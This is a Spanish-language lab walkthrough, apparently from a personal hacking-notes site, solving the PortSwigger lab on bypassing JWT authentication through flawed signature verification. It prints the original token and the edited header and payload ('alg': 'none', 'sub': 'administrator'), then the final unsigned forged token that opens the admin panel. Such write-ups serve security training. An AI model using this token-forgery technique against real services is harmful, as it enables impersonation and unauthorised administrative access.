> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md).
# Elusión de autenticación JWT mediante verificación de firma defectuosa
### Evasión de autenticación JWT mediante verificación de firma defectuosa
**Contexto del laboratorio**
Este laboratorio utiliza **JSON Web Tokens (JWT)** para gestionar sesiones de usuario. / La configuración del servidor es incorrecta: \*\* acepta JWT sin firmar\*\*, lo que permite falsificar un token válido sin poseer la clave privada.
**Objetivo:**
* Editar el JWT de sesión para acceder `/admin` panel de administración
* Eliminar usuario **carlos**
**Credenciales proporcionadas:**
* Usuario: `wiener`
* Contraseña: `peter`
\*\* Análisis inicial del JWT\*\*
Tras iniciar sesión, se proporciona una cookie de sesión JWT:
```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTU3Niwic3ViIjoid2llbmVyIn0.CDQZmT-cC5Oa1A4yVjgEu1HVYC_J7aZ_Utfjkbdy8D0frSJVeZygaS82Frj4ZI6q8a0XGgvDE1NEJ1TQdnrJ2WSFRWoew7Nen9FJe1X_Rz2nHVKCA5kk30Kx2xB9BQ6ij-wbQLLcZkPV4CqklQ51CwPwrxCfPzpGXxCGOhjOvfYTeZzmKrskOzTG1Ikk3rv4JGWY1GKATeRXuZgbIUxG4QsHS7bDOzcUCuhUiUj4uu4gWE2FvZFLpnbNC1VvtUyq37Qqrqo78IomtnA3pe6e285IzkIr8IK-iiLVvkV4q2pTDI4-FIaMsaqMvyLvBWqsHMR-OXL4MJZMQho0E1Cdtw
```
* **Encabezado**: `RS256` algoritmo
* **Carga útil**: `wiener` token de usuario
* **Firma**: original y válido
**Modificación de la carga útil**
El objetivo es hacerse pasar por un administrador. / El `sub` campo se modifica en la carga útil:
```json
{
"iss": "portswigger",
"exp": 1767531576,
"sub": "administrator"
}
```
**Explotación de una verificación incorrecta**
El servidor acepta JWT con `none` algoritmo. / El **encabezado** se modifica luego:
```json
{
"kid": "ae2a1871-902d-46a7-aab8-f9558bb0e64e",
"alg": "none"
}
```
A continuación:
* La firma se elimina por completo\*\*
* El JWT final termina con un solo punto (`.`)
{% code overflow="wrap" %}
```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMjI2NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
```
{% endcode %}
**Resultado**
* El servidor \*\* acepta JWT sin firmar\*\*
* El acceso a `/admin` se permite el panel
* Usuario **carlos** puede eliminarse
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